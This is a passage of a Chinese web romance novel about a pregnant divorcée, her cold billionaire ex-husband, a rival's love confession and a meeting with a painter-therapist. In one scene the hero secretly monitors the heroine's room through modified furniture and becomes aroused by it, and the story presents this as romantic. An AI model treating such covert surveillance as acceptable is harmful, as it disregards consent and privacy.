她将涨红的小脸,从陆沉渊胸膛抬起,在那双牢牢锁住她的黑眸注视下,看了他一眼,哑着声音,回答林晚: “嗯……那只狗还在。” 林晚却径直笑出了声来:“哈哈,姜绒,你这一天天的,都碰的些什么事呀!” 作为她的闺蜜,林晚在人前不活泼,偏偏在姜绒面前,话又多又密且毒舌。 不想再引起她的怀疑。 姜绒不敢在陆沉渊怀里动弹一下,甚至只能红着脸,厚着脸皮,朝他做了个噤声的动作,请求他不要发出任何声音来。 对方那双黑眸,好整以暇的望着她,似乎是早已听了出来,她是在和自己的闺蜜打电话。 这种感觉莫名很像,她在背着林晚,偷做什么见不得人的事情一般,令她心跳越发紊乱,浑身发软。 林晚的话,却继续连珠炮弹似的,从他们耳边传来,在空旷的浴室里,显得非常突出: “不过,我要恭喜你啊!你今天终于和陆沉渊离婚了吧?” “嗯……”姜绒涨红着脸,尴尬的应了一声。 在心里接了一句,但我怀了他的孩子啊! “我早就想说了,他那种电脑人,应该叫人类情感功能失调!你跟他说话,是不是经常觉得自己,在跟一台高级人形siri相处?” “还是那种只会回复,根据我的算法,此要求不予采纳的siri!哈哈!” 林晚尖锐而毒舌的话语,伴着她的笑声,无比清晰的从手机听筒里传来。 姜绒却红着耳朵,根本不敢对上陆沉渊那双,正牢牢锁住她,不放过她脸上,任何一丝表情的黑眸。 无论她再怎么厚脸皮,趴在陆沉渊的怀里,和闺蜜一起吐槽他,当面说他坏话,还是有点太超过了。 她只想把头,狠狠钻到地缝里去! 都怪她平时和林晚,吐槽起陆沉渊来,太严重。 但为了不引起林晚的怀疑,短暂的沉默以后。 姜绒只得红着整张白皙的小脸,在手掌牢牢圈住她的陆沉渊怀里,对方目光灼灼的注视下 低着头,附和了一句: “嗯,他确实是个奇葩。” 下一秒,姜绒却兀然瞪圆了一双鹿眼,呼吸骤紧,白皙耳垂,红得剔透。 不知是不是她的错觉,她能感觉到,陆沉渊修长手指,似乎在她腰侧,极恶劣的,轻挠了一下。《 》 13-20 第13章 第十三章 一分钟127下! 腰侧, 一向是姜绒最敏感的地带。 更不必提,因为hsdd的缘故,从来没有任何一个男人, 有机会碰到她那个隐私的地方去。 于是,她猝不及防, 根本不受控制的颤抖了一下身体,在电话那头嘤咛了一声。 幸好,只顾着埋头吐槽的林晚, 并没有发现她的异常, 不一会儿, 她说尽兴了, 两人挂断了语音电话。 “你刚才是不是挠我了?”才放下手机, 姜绒已经迅速从陆沉渊宽阔的怀里起身, 一张绯红的小脸, 望向陆沉渊质问。 陆沉渊站起身来,脸上表情却十分淡定,仿佛刚才的一切,都没有发生。 一双黑眸望着她,只有冰冷的音色里透着一丝哑:“没有。” “好吧。”姜绒开始怀疑, 是不是自己想多了。 怪自己,一整天的面对自己“前夫”产生很多颜色废料, 她拍了拍自己脑袋。 毕竟, 刚才要不是他及时出现,自己早就摔了个脸贴地, 那样的惨状根本无法想象了。 更不必说,自己还当着他的面,和林晚说了他的坏话。 这让姜绒心虚的很, 挠了挠头,仰头望向正整理着他身上,被自己弄皱的,深灰色衬衫的陆沉渊。 他没有穿西装外套,似乎也是准备休息了,却被她一条微信消息,给叫了过来。 衬衫的款式很简单,穿在他身上却很好看,将他冷白肤色,衬的更加禁欲。 更不必提,他肩膀很宽,喉结的线条,往下延伸,一直到明显的锁骨位置,腰线又很窄,腿很长。 姜绒不自觉的咽了下口水,局促的朝他道了句谢:“谢谢你阿,多亏你刚才推门及时,才救了我。” 陆沉渊的视线,落在姜绒身上。 不带妆,经过了水汽蒸腾的一张白皙小脸,一如落水芙蓉,更显得明媚生动了。 黑色的浴袍,穿在她肤色白皙的身上,却莫名的好看,隐隐勾勒出了丰盈的曲线。 酒红色的长发,颜色和她本人一样,极富生命力,张扬而令人难以忽视,半干时,更替她贵气、娇纵的气质里,平添了几分妩媚。 从学生时代开始,她就是这样出现在他眼前的。 身着格纹校服裙的少女,一脸纯真与骄傲。 如同一颗耀眼的太阳,无时无刻不在散发着身上的光芒与热量。 可坐在座位上的陆沉渊,修长指节却握紧钢笔,想起了地球背面,那些将太阳吃掉的厚重云层。 一如他一般,隐藏在心底的欲望,从未变过。 想一口一口,将这颗太阳独占,然后慢慢吞噬掉。 与好学生的外表不同,陆沉渊从小就有很严重的强迫症和占有欲。 比如,他不能理解的题目,就一定会废寝忘食,甚至彻夜研究解题,来将其参透弄懂。 比如,他错了一道题,没有得到满分。 那么,他就一定会将那道题,所在的知识点,刷上几百次,直到试卷上,被老师打上对勾,一笔一划,亲自写下100分为止。 而当爷爷病重,联姻的机会出现,姜家又主动找上门来求助时。 他主动,排除了凛川市里,所有翘首以盼,殷切期待的错误选项,抓住了这一道解题机会。 唯一的失控变量,是那个雪夜。 “没事,作为孩子的母亲,保护你,是我的职责所在。”陆沉渊扶了扶鼻梁上的镜框,语气淡然,回应了姜绒的道谢。 虽然能想到对方是这个目的,但直接说出来,姜绒心里莫名还是有些说不出来的烦躁。 救她,也只是为了救她肚子里的孩子吗? 也是,一个亲口说出了讨厌自己的人,自己还能奢求他对自己有什么好印象呢? “看不出来,你还真是个很有责任心的奶爸嘛。”姜绒阴阳怪气了他一句。 陆沉渊一双黑眸却锁住她,接着说出了一句,令她有些惊讶的话来: “你闺蜜的结论下得为时过早。关于我是否是人类情感功能失调,还缺乏足够的实验样本和对比数据。” 实验样本和对比数据?这话是什么意思? 涉及对方专业领域,素来是个理科学渣的姜绒,听不明白。 陆沉渊却骤然向她走近了一步,身高和气场带来的强烈压迫感,令她白皙耳垂兀然红了一下,低下头去,不敢看他。 自己胆子确实挺大的。 虽然一直嘴里吐槽着这个“前夫”。 可实际上,陆沉渊身家上千亿,是全球顶级审计事务所普瑞维斯的创始人,还是陆氏集团的ceo。 这样的程度,其实放在哪里,都是无可比拟,甚至需要仰视的存在。 “或许,你应该收集更全面的样本,再做出最终审计报告——比如,像刚才那样,你在我怀里,一分钟心跳127下的样本。” 陆沉渊那双幽深黑眸锁住她,一字一顿的说道。 一分钟127下? 姜绒白皙的小脸,瞬间涨得通红,抬起头来,不可思议的看向陆沉渊。 刚才自己的心跳竟然有这么快? 而且竟然还被他数出来了! 是刚才自己紧贴他怀里时,被他数出来的吗? 陆沉渊是变态吗?他为什么要数这种东西啊! “我……我才没有心跳加快呢,你数错了。” “我只是有窦性心律过速而已,我现在需要休息了,你可以走了!” 姜绒涨红着脸,慌不择言的为自己辩解,一向伶牙俐齿的人,这一刻差点成了小结巴,只得让他立即消失在自己眼前。 陆沉渊似乎对于他看到的反应,觉得很满意,点了点头,高大的身影,转身离开了房间。 而不知是不是错觉,姜绒似乎看到,他唇角似有似无的勾了一下。 她突然发现,以高中时,那点浅薄的认知,自己真的,一点也不了解陆沉渊这个人。 待他离开后,姜绒才松了口气,红着耳朵,坐在床沿, 她白皙纤长的手指,轻轻抚了自己肚子,今天的心有余悸,还是因为她太大意了。 姜绒在心里默默发誓,不会再让这种意外出现。 无论是否愿意,她现在已经成为了母亲,那么保护好自己的孩子,就是她的职责。 掀开触感极佳的埃及棉被子,姜绒躺了进去,不知是不是这床的质感极好,她很快闭上眼睛,陷入了梦乡。 与此同时,冷色调的偌大房间内。 室内的光线极暗,沉在黑色真皮沙发椅里的男人,高大的身影却并没有睡。 陆沉渊骨节修长的手指,点开了手上的移动控制台平板。 来自于隔壁房间内,规律的呼吸声,立即清晰无比的传到了他耳朵里。 每一次起伏与频率,都能听得清清楚楚,包括无意识发出的呓语。 那是姜绒的呼吸声。 他没有告诉她,这屋里的每一样家具,其实都已经经过了特殊电子化改造。 对于使用者的实时监控,以及数据,每天都会极其详尽的,显示在陆沉渊手中的控制台上。 他摘下鼻梁上的金丝边镜框,那双深邃的黑眸,褪去了那没有温度的冰冷,如同暗夜中潜伏的猎豹,逐渐变得发红、滚烫。 仅仅只是她呼吸的声音,便已足够让他发狂。 灼热的温度,根本无法褪却,陆沉渊闭上眼睛,循着那甜美的呼吸声,一起沉沦,直到掌中,彻底释放。 第二天早上五点,生理性闹钟将自己叫醒。 姜绒起床后,几乎是落荒而逃,即使陆沉渊早已命私厨,替她准备好了极其丰盛且高级的早餐。 她根本顾不上吃。 昨晚,虽然她很快入眠,但不知道为什么,她做了一整晚的梦。 梦里全部是自己,被一条冰冷的黑色大蛇缠紧,根本无法挣脱的画面。 一边冷,一边缠。 可怕的冷血动物,回想起那个梦,她坐在自己叫来的,回艺术馆的专车上,忍不住打了个寒颤,在心里感叹。 回到绒息艺术馆以后,姜绒马不停蹄的往自己财务室跑,受上次陆沉渊的话语刺激。 她倒必须算清楚,自己这艺术馆到底有没有赚到大钱的可能。 毕竟,如果她真能够赚到大钱,不必依靠陆沉渊的话,她就有了成为单亲母亲这个选项可选。 推开财务室的门,林晚已经在等着她了,对方还是一身灰色职业西服,戴上了黑边框眼镜,正目不转睛的盯着电脑看。 艺术馆的财务,平时她都是交给林晚来管的。 反正对方能力强,理科更是很强,就当在她在律所工作之余,自己还给了她一个副业做。 “怎么样?你觉得我这里,有大办特办展出,赚上大钱的可能性吗?” 姜绒放下手里的爱马仕包包,坐在林晚面前的沙发椅上,表情认真的朝她问道。 林晚推了推鼻梁上的眼镜框,语气严谨的回答她:“我分析了一下。还真没可能,或者说,很难。” “啊?为什么呀?我艺术馆和我爸妈画廊的资源、人脉都可以共享啊!这些不都很有优势吗?”姜绒不能理解,满脸惊讶,反问她道。 “你的艺术馆,没有名气啊。而且,这只是你,以个人品牌开设的艺术馆,虽然在伦敦艺术圈,你的画小有名气。” “但在国内,你本人的名气还没大到那个程度吧?而且这里地段偏僻。”林晚看向姜绒,认真对她分析道,条理非常清晰。 姜绒如同泄了气的皮球,瘫在铺了羊绒毛毯的沙发椅上,嘟起了唇。 她不得不承认,林晚分析的非常有道理。 那她能怎么办呢?难道请姜曜的乐队,来艺术馆门口又唱又跳,吸引人气?那个画面也太搞笑了吧。 还是说砸下重金,超高价出售几幅代表画作,用来包装自己,扩展自己的名气? 她陷入了沉思之中。 “不过,你为什么突然这么急着挣钱啊?难道是出什么问题了,手头紧?” 林晚看出了姜绒表情里的失望,却不能理解,敏锐的反问她道。 姜绒赶忙摇了摇头,白皙的耳垂上,飘过一缕红,迅速向她解释: “不是,我是想自立自强一把嘛!野心这种东西,不是每个人都有吗?” 林晚看向她点了点头,似乎是被她说法说服了: “其实,也不是一点办法也没有,除非你去找一个人。” 作者有话说:宝宝们,欢迎评论,灌溉,投雷啊!你们留下越多足迹,猫猫更的就越多越快,你们就是我的动力啊! 亲亲(* ̄3 ̄)╭ 第14章 第十四章 你爸在偷情。 “谁啊?”姜绒几乎屏住呼吸, 一双大眼睛望着林晚问。 林晚给出的答案,却出乎她意料:“陆沉渊。” “什么呀?你别开玩笑了!”姜绒白皙耳尖泛起一抹不易察觉的红。 林晚扶了扶鼻梁上的镜框,语气严肃认真:“我是说真的, 虽然他是你前夫。” “虽然,我也吐槽过他性格, 但是他的普瑞维斯在业内真的拥有响当当的名号,要他们来打造一个艺术馆品牌的名气,实在只是勾勾手指的事。” “咳, 你说其他人也就算了, 陆沉渊我就不考虑了。”姜绒莫名有些心虚, 指尖挠了挠自己裙边。 现在她和陆沉渊除了离过婚这层关系以外, 其他的关系, 只有他们俩人彼此知道了。 林晚却点了点头:“那也是, 人家不仅是你前夫也就算了, 你这种创业型的小虾米艺术馆,人家也看不上。他合作对象都是顶级大牌,国际知名那种。” “还有没有其他办法?难道真的只能高价卖画来炒作?” 姜绒知道,家里画廊资金链问题已经解决了,她要是向父母开口, 他们必然也会愿意给出一大笔钱来支持她的生意。 但是,毕竟她已经是毕业了的人, 靠自己自力更生, 比起伸手问他们要钱,更有意义。 林晚蹙眉思索了会儿, 想到了另一个人:“还有一个人,最近在凛川很有人气,还上过综艺, 是国内知名的心理疗愈画家——江之晏,热度很高!” “你要是能把他请过来,你这里知名度肯定上一个台阶,不用担心没人来看画展了。” “那太好了,我马上去请他合作不就好了,我们馆里的首展,刚好在物色合适的艺术家。”姜绒瞬间笑了出来。 林晚却笑不出来,表情严肃:“听说那个人很难搞定的,在综艺上爆火以后,人家根本不缺曝光,国家级的艺术馆找他谈合作,人家都不愿意。” “没事的,我是什么人呀,还有我搞不定的男人吗?”姜绒站起来,一脸自信,向林晚拍了拍胸脯。 林晚对此没有异议。 姜绒脑子里却兀然蹦出一张冷冰冰,没什么情绪起伏的脸来,自己刚才那话,好像有点不够准确。 因为有唯一一个例外——陆沉渊。 那人,她还真搞不定。 装潢并不算顶级,只能算是高档精致的餐厅里,乔安安怎么也想不明白,自己盛情邀约陆沉渊吃个午饭,他好不容易答应,却会选在这样的地方。 但她同时又很清楚的明白,这世界上没人能够摸透陆沉渊的心思,包括自己。 虽说是有米其林三星主厨的噱头,菜品也算有些新意,但当侍应生将菜单奉上时,她看到那样的食材推荐,她就明白了。 这样的餐厅,不是她们这样,出生顶级名流的人该来吃的。 “嗯,不必看了,把最贵的送上来就行了。”乔安安表情不耐烦,将菜单随手扔回给了侍应生,懒懒说道。 她两条长腿交叠而坐,语调听起来很软,长相淡雅,身上一袭白裙更衬托的她清丽好看,更像是朵孤傲的茉莉花。 与此同时,背对着乔安安餐位而坐的另一桌。 姜绒神情有些惴惴不安,低头看了眼手上的劳力士手表。 她身着一袭绒面红裙,与她酒红长卷发相配,更衬托得她肤白胜雪,明眸善睐,如一朵烈火里灼烧的玫瑰,给她的美貌更多增添了几分侵略性,在人群里显得极为耀眼。 不少食客将目光,有意无意的掠过她身上。 她已经提前来到了餐厅15分钟,目的就是为了约江之晏谈合作。 拜父母在艺术圈的身份地位所赐,江之晏愿意赏脸见她一面。 通过中间人打听,她已经知道了,对方性格随和简单,最喜欢的就是做艺术画和心理治疗之间的研究。 因此,姜绒带来了自己的画作,试图用自己的画,来说服并打动对方,在自己的绒息艺术馆里办首展。 “小绒球,你的云朵舒芙蕾来了。”一道痞里痞气的声音,此时却兀然在她耳边响起,甜品的香气,一同而来。 她抬头看去,正看到了一头金发,笑容张扬恣意的周野,对方朝她顶了顶腮,将一个犹带着温度的白色餐盘放在了她面前。 姜绒表情有些惊讶:“周野,我没点这个呀,你怎么知道我今天要来这里吃饭?” “主厨特供,免费送你的餐前甜点。”周野却没有回答她后一个问题,只是笑着将话题跳过去。 姜绒低头看去,这显然是他亲手做的,造型摆盘无可挑剔,熟悉的蛋奶香味,扑鼻而来,和她在伦敦第一次吃到时,没有任何区别。 那曾经是她最爱吃的甜品。 在伦敦的那些日子,总是下雨,阴晴不定的天气,令地面湿漉漉的水汽,仿佛也如同藤蔓一般,缠上她的心房,吸食她的生机与快乐。 亦或许是她独自在异国求学生活,离家人太远,亦或许是课堂上鉴赏历史画作,带来的各个时代的伤春悲秋,影响了她的情绪。 又亦或者是一切都被满足后,她对于快乐的阈值变高,生活的空虚,反而席卷了她。 大二有段时间,一向开朗又乐观的姜绒,猝不及防的抑郁了。 她没有告诉任何人这件事情,包括父母以及哥哥。 但姜绒一直在寻找,能够治好自己的方法。 无论是一整晚都用刻刀来雕塑,还是在一整晚熬夜画画后,在清晨将一整杯的咖啡,泼在那副画上,像个疯子一样,亲手毁掉它。 一次次的毁灭,新生中,她找到了另一个途径来治愈自己,那就是好好吃饭,享用美食。 于是,她开始在伦敦的大街小巷里探美食店,直到结识了周野。 他个子高大,脖颈上的藤蔓纹身痞气的很,撸起袖子,叼着烟,露出精壮的肱二头肌,给她做久违的国内小炒。 那是姜绒从来没有见过的,一种来自于不同圈层,却仍旧蓬勃向上,不加掩饰的生命力。 后来周野变着法子给她做便当,送到她大学门口,连续32天不重样。 某种程度上来说,是那时候的周野,用美食将她的抑郁治好了。 “嗯,味道还是很不错,绵软蓬松,像踩在云朵上一样。”姜绒轻轻舀了舒芙蕾边缘的一层,放进嘴里,闭着眼睛,长睫轻颤,感叹了一句。 周野却发现了她的不对劲,双手撑在桌子边缘,朝她问:“怎么不吃一大口?最近胃口不好吗?” “没有,今天主要是来谈工作的,所以不能吃太多。”姜绒心虚,不敢对上那双探究性很强的琥珀色眸子。 其实是因为,她肚子里有了陆沉渊的孩子。 她已经特地查过相关注意事项,其中有一条,就是为了防止李斯特菌感染,使用了生鸡蛋配方的甜品,尽量不吃或者少吃。 “好吧,那我不打扰你了,最近店里事也挺多的。”周野朝她说道。 姜绒听出了他语气里的苦恼:“怎么了?遇到什么事情了吗?” “店里这段时间,不是消防检查,就是税务检查,搞得客流量都下降了。我都怀疑,自己是不是被人整了。”周野端着手臂,回答她。 姜绒愣了一下:“突击检查?会不会是有人举报?你最近得罪谁了吗?” “呵,那可不知道,我得罪的人多了去了。”周野朝她痞里痞气的咧嘴一笑,满不在乎。 对于他的态度,姜绒自然明白。 她还记得周野跟自己说过一嘴,他以前是个小混混,在国外摸爬滚打,一路从底层混上来的。 “什么时候再来我家,我亲自给你做提拉米苏。”周野那双琥珀色的眸子,却再度锁住她,向她问出了口。 姜绒表情却有些尴尬,如今她肚子里已经有了个难言之隐。 于是她笑着调侃起了对方:“周大厨,你年轻有为,长得又帅气,刚才店里上餐的小美女,还一直偷瞄了你好几眼呢,你就别跟我这离异妇女纠缠了。” “离异又怎么样?身份这种东西,是这世界上最没用的东西。不然我也不会认识你,不是吗?”周野语气却兀然认真了起来,看着她说道。 姜绒垂睫,再次浅笑了一下。 是啊,周野是她所认识的,最不讲究身份,最不顾忌圈层的人,在他看来,人与人之间的关系,天生就是平等的。 他只看重感情,除此之外,什么都不重要。 但此时,她脑海里又浮现起了另一个人来。 陆沉渊必然是那种极其看重身份,圈层以及游戏规则,规章制度的那种人吧? 毕竟,就连笑这种表情,似乎在他脸上,也是不被允许的。 这还真是和周野完全不同,恰恰相反的人啊,姜绒在心里感叹了一句。 不知为何,是不是因为她心里想着陆沉渊的缘故,她突然在空气里,闻到了他身上的味道。 那股冷淡的,没有任何感情的,禁欲的雪松,夹杂着佛手柑与檀香的味道。 餐厅的旋转玻璃门,兀然被推开了,门口的声响并不算大,但推门走进来的人,却气场强大至极,几乎吸引了所有人的注意。 姜绒看向那个高大身影,瞬间愣住了,握着甜品勺的手指,也忘了继续动作。 正是陆沉渊。 他一身黑色长风衣,黑发黑眉,表情冷的像一座冰山,目光却在进门的第一眼,便落在了她身上,沉了一下,又浅浅掠过,似乎她只是个认识的过客。 姜绒心跳莫名加速了几下,低垂下颤抖的长睫,耳朵有些发热。 不明白陆沉渊这是来这干嘛来了,莫非他是专门冲着自己来的? 总不能是跟踪自己吧,莫名其妙来这一出。 然而,陆沉渊长腿一迈后,却径直路过她,坐在了她身后,刚好背对着她的座位上。 姜绒长吁了一口气,原来不是为了自己来的,看来是自己想太多,自恋过头了。 “哟,什么风,把你前夫也刮这来了。”周野顺着她目光看去,揶揄了一句。 他似乎觉得有些晦气,向姜绒道了别:“小绒球,今天你来晚了,又不和我说,店里包间都订满了,下次我一定给你留,我先去忙啦。” 姜绒点了点头。 周野已经离开了,她却止不住自己内心的好奇心,陆沉渊对面似乎坐了个身形姣好,年轻貌美的女人。 她没有细看。 莫非是他来这偷情的?而且就这么光明正大的背对着自己偷情? 这也太劲爆了吧。 姜绒鼓起腮帮子,莫名其妙的便将手里的勺子,碾的餐盘嘎吱作响,对着肚子小声说道: “喂,你爸在偷情,你看好了!” 乔安安的视线,立即粘在了坐在她对面的陆沉渊身上,眼里的渴望与炽热,令她突然之间像换了一个人。 就像突然绽放的花朵,那股孤傲冷艳的劲,一下子就消失殆尽,看不到踪影了。 “沉渊哥哥,感谢你能抽空过来,最近集团的事很忙吧?听说又接了不少大单子。下次我们直接去俱乐部见不就好了,我爸妈也很想你。” 乔安安站起身来,亲自给陆沉渊面前的玻璃杯里,倒上了水。 竟然还有下次?! 姜绒竖着耳朵,把话听的清清楚楚,只觉得这对男女简直无法无天。 但随即她又愣了一下,怎么总觉得女方这说话声音,有些耳熟。 在记忆里搜索一番后,一张脸兀然出现在自己面前,她想起来了,那不是乔安安吗? 和自己一个班,学校里出了名的高冷学霸女神,除了自己这个排名第一的校花之外,最受学校男生欢迎的女生。 她智商极高,长得又很清丽,和自己是不一样的类型,对谁都是一脸清冷疏离的样子,非常难追。 听说当年还有男生为了追她,获得她的一个青睐,闹到了差点跳楼的地步。 姜绒没有想到,她竟然和陆沉渊还有交集。 但在姜绒记忆里,对方说话不是这声音啊,怎么今天说话,语气这么软呢? 难道是因为对面坐着的人是陆沉渊? “有什么事,直说吧。” 陆沉渊低沉的声音,紧接着从她身后传来,挨着背后座椅的原因,莫名的让姜绒觉得这情形有些刺激,毕竟她可是在偷听。 乔安安的目光,落在对面的陆沉渊身上,这么多年来,对方的表情还是那副模样。 冷的像一座,自己根本融化不掉的冰山。 是从什么时候,自己开始注意到他的呢? 大概是高一时,气质出尘不染,一身蓝白色校服的陆沉渊,出现在班上的第一天就开始了吧。 他在黑板上,毫不费力,就将数学老师留下的,属于高三的探究性数学题解了出来。 虽然不苟言笑,却立即赢得了全班的掌声。 后来学校第一次测试,理科的所有科目,数学、物理、化学,甚至是英语、语文,除了他不擅长的音乐,美术那些艺术科目以外,基本上全部拿了满分。 那一刻,乔安安就知道了,陆沉渊不是普通人,他的智商和学习能力,是天才才能拥有的水平。 他在她眼里,也成了神一般的存在。 而越是接近陆沉渊,越是了解陆沉渊,她就越是被吸引。 埋藏在冰山下的那片未知海域,于她而言,有着极强的吸引力。 “我是听我爸说,你前段时间,已经离婚了。所以想要特地祝贺你,以姜家那样的小门小户,确实比不上陆家。” 乔安安望向陆沉渊,朝他微笑了一下,继续说道。 姜绒听了这话,却气的后槽牙直痒痒,这乔安安,说话未免也太直接了吧。 虽然她知道自己家里和陆家比起来确实是九牛一毛,而乔家她此前依稀有过耳闻,是做珠宝生意的,资产同样上亿。 但她也没必要,如此踩一捧一吧。 姜绒假装看手机,实则握紧手里的甜品勺,差点把面前的白瓷盘刮花,盘子里的舒芙蕾,几乎成了一堆浆糊。 “所以呢?”陆沉渊骨节修长的手指,轻轻敲过桌沿,一双黑眸,好整以暇的看着面前的乔安安。 姜绒心里亦有些莫名发紧。 她刚刚怎么从乔安安的语气里,听出了一丝爱慕的味道来呢? 一个她所知道的,极其难追的学霸女神,竟然喜欢她眼里,那个无趣乏味的电脑人? 莫非,他其实还挺受女生欢迎的,超出自己想象那种? 乔安安脸上,红了一下。 一向矜持惯了,她其实极少向人直接的表达自己的感情,但对面的人是陆沉渊,这就不一样了。 况且,这已经是于她而言,最好的时机。 陆沉渊与人联姻了,却又很快离了,属于她的机会已经来了。 于是,乔安安深吸了一口气,坐直身体,望向陆沉渊,语气诚恳的开了口: “沉渊哥哥,其实我从高一的时候,就开始暗恋你了。到现在,已经整整七年了!” 啪嗒,一道清脆的声响兀然传来,却不是陆沉渊这桌发出来的,而是坐在他们身后的姜绒。 她手里的甜品勺,因为乔安安的这句话,猝不及防的掉落在了大理石地板上。 这也太劲爆了吧,乔安安竟然暗恋陆沉渊。 而且整整暗恋了七年?这什么情况啊? 感情自己在民政局里,编的谎话并不是假的,还真的有人暗恋过陆沉渊,还是这样,曾经在学校里,高不可攀的高岭之花。 陆沉渊对此会做出什么反应呢? 虽然,她肚子里确实怀上了他的孩子,但明面上,他们两人连离婚证都领到手里了,确实没有任何关系。 姜绒莫名有些心烦意乱。 在众人好奇的目光下,为了不引起所有人的注意,包括陆沉渊和乔安安。 她表情尴尬,红着脸,弯下腰就去捡自己的勺子。 就在姜绒白皙的指尖,即将触到微凉大理石地板的下一秒。 她眼前却出现了一块熟悉的,戴在忻长冷白手腕上的满钻黑色劳力士手表。 雪松的味道,透过解开的袖口隐隐传出。 陆沉渊那骨节修长,极度好看的手,竟然先她一步,捡起了她掉落在地上的银质甜品勺。 姜绒愣了一下,白皙的耳尖绯红。 一抬眸,她目光刚好撞进了,陆沉渊那双深邃幽灼,如同巨兽潜伏般的黑色眸子里。 第15章 第十五章 我是他女朋友! “你……”姜绒脸上飞起一抹红, 突然有些不知道要说些什么了。 毕竟对方现在似乎还在约会中,反倒他们两这样,在餐桌底下直视, 更像是偷情了。 而自己若是表现得特别在乎,生气, 岂不是会让陆沉渊误以为自己对他很有好感。 再说离婚证都领了,除了她是孩子的妈,还有什么身份质问他呢? “别吃甜品。” 陆沉渊却只对她低声说出了这样四个字, 随即直起了身来, 继续背对着她坐好。 别吃甜品?必然是为了她肚子里, 他的孩子考虑吧? 姜绒只觉得, 自己现在真像一个人质, 一个被陆沉渊的孩子绑架的人质。 回过神来, 她准备继续捡自己的东西, 这才发现, 她的甜品勺,竟然就这样,被对方堂而皇之的收走了! 他这人也太专制了吧?怎么这么不讲道理? 姜绒气的鼓起了腮帮子,直起身来以后, 又偷偷往背后陆沉渊那桌扫了好几眼。 她并不想自己被乔安安认出来,毕竟她和对方交集并不多, 对方甚至只把自己当成陆沉渊“前妻”来看待, 连隐形竞争对手也算不上。 但姜绒又没听清楚他们继续说了些什么,只听到陆沉渊冷着声音说了句:“时间已经到了, 我回公司了。” 乔安安显然是不愿意的,站起身来,想跟上陆沉渊脚步, 对方却长腿一迈,先一步走出了餐厅。 门口停着的劳斯莱斯幻影显眼至极,换了个颜色,这次的车是白色的。 不少人被这对俊男靓女吸引目光,还有不少人好奇的打量,停在餐厅门口的这辆豪车。 自己算是见识到了,乔安安这位高冷学霸女神,热情的另一面。 姜绒迅速收回目光,劝自己清醒点,她可是来见江之晏谈合作的,要是自己美术馆的生意能做起来,自己就不需要答应陆沉渊的条件,和他同居了。 毕竟,对方是这样一个,与她差异巨大的人。 姜绒并不能想象,自己真的与他同居以后,到底会发生些什么事情。 她看了看手腕上的表,不由在心里感叹,果然如林晚所说,江之晏这个很难搞定,否则不会迟到这么久了。 她眼神无意间再次瞟了眼,身后陆沉渊他们刚才坐过的位置,视线却兀然被他用过的咖啡杯所吸引。 镀上了金边的白瓷杯子里,陆沉渊使用过的勺子赫然在目。 姜绒兀然睁大了一双鹿眼,不敢相信。 那咖啡杯里的勺子,不就是她刚才的银质甜品勺吗? 陆沉渊不是有洁癖吗?为什么要用她的勺子? 难道他刚才用那把勺子,喝了咖啡吗? 光是想象,他那张形状好看,没有任何弧度的唇,与她吃过甜品的勺子,亲密接触。 姜绒就红了耳朵。 她不敢想象,也不敢相信。 一个重度洁癖的人,怎么可能用她使用过的勺子,来喝东西呢。 要知道那上面沾过她的口水,哪怕清洗过了,这个事实也不能改变吧。 她觉得自己一定是脑袋懵了,或者迷迷糊糊,把那把勺子的颜色记错了,否则陆沉渊怎么会做出这样的事情呢。 姜绒还记得,自己亲眼目睹过,高一的时候,陆沉渊的重度洁癖,就已经到了什么样的程度。 陆沉渊从不借用任何人的笔,也绝不出借自己的笔。 他的每支笔似乎都有固定用途,做数学的、划语文重点的、打草稿的,界限分明。 有一次,她同桌严圆,急着记笔记,情急之下抓了身后座位上,陆沉渊的笔用了一下。 他当时没有发作,但在下课以后,他盯着那支被严圆使用过的笔看了三秒。 然后他径直走到垃圾桶边,毫不犹豫地将其丢弃。 在一旁静静目睹了这一幕的姜绒,对此印象深刻,目瞪口呆,根本不能理解陆沉渊的行为和做法,只觉得对方思维模式,似乎是常人根本无法理解的那类型。 而陆沉渊的课桌,也是全班乃至全校,出了名的一道奇观。 桌面上所有物品,包括课本、文具的边缘都必须与桌沿严格平行,间距精确到厘米。 陆沉渊每天会用自备的消毒湿巾早中晚三次擦拭桌面和椅面。 如果有同学不小心把纸屑或橡皮屑掉到陆沉渊的领域内,他不会出声指责,但会立刻停下手中所有事,用镊子将其清除,并用湿巾再次擦拭“污染区”。 那时候姜绒就觉得,陆沉渊或许应该为了他的洁癖,去治治病才对。 这世界上,大抵没有人能把他弄脏。 此时,一阵脚步声兀然在姜绒面前响起,将她飘飞的思绪拉回了现实。 一个身穿白色医师制服,约莫三十多岁,神情干练从容,一头棕发,气质温雅的男人走了进来。 姜绒忙站起了身来,她知道,这位必然就是江之晏了。 “江老师,您好!”她赶忙伸出手去,热情的与对方打了个招呼。 她明白,江之晏的身份,介于艺术家和医生之间,所以倒还不如称呼他为老师更好,显得更为尊重。 反正他年龄,比自己要大七岁。 江之晏却没有伸手回握她,只是在她对面,公事公办的坐了下来,眼神里充满怀疑: “你就是苏清砚和姜新鸣的女儿?看你年龄,才刚刚大学毕业吧?就自己创业,弄艺术馆了?” “嗯,对。我的艺术馆虽然规模不大,但是五脏俱全。江老师,我想邀请您去参观一趟,您一定会喜欢的。” 姜绒忙热情的朝他笑了一下,站起身来,将自己的画拿起,摆在了桌面上,向江之晏展示。 “这是你带过来的画吗?”江之晏的目光,却停留在她放在脚边的画上。 姜绒点了点头,站起身来,将自己的画,放在桌面上,展示给了他看。 这是一副象征主义色彩浓厚的中型画。 画上是一个巨大的精致的茧房,茧丝是金色的、柔软的,却层层叠叠,密不透风。 茧房上有一个明显的裂口,但这裂口并非被外力撕开,而是从内部被一种温暖而炽烈的光芒撑破。 透过裂口,可以隐隐看到,茧房内部,没有蛹,只有一颗正在稳定燃烧的、橙红色的恒星。 光芒溢出,照亮了周围暗淡的空间。 江之晏愣了一下,他很少看到这样澄澈的,生命力强烈的画,虽然外层的茧包裹,束缚了它,但内里的太阳,几乎将一切冲破。 “姜小姐,确实是人如其画啊。”他细细的打量着那笔触,又将目光落在姜绒身上,似乎在揣摩她的心理。 姜绒有些不好意思,她在画画这方面,其实听到过不少人的夸赞,业内不少大师对她的画,评价很不错。 这也是她,毕业之时在伦敦就小有名气,而且有了信心来开设自己的艺术馆的原因。 而她将自己的艺术馆取名为绒息,并非只是为了突出带有自己名字里的那个“绒”字。她希望收藏每一种艺术,就像滚过红丝绒面料的呼吸。 “江老师,我知道,您是通过绘画来窥见人的心理,并且用这些人,形形色色的心理,来进行您的艺术创作。” “那么,您认为我的心理是什么样的呢?”姜绒大胆的向他发问。 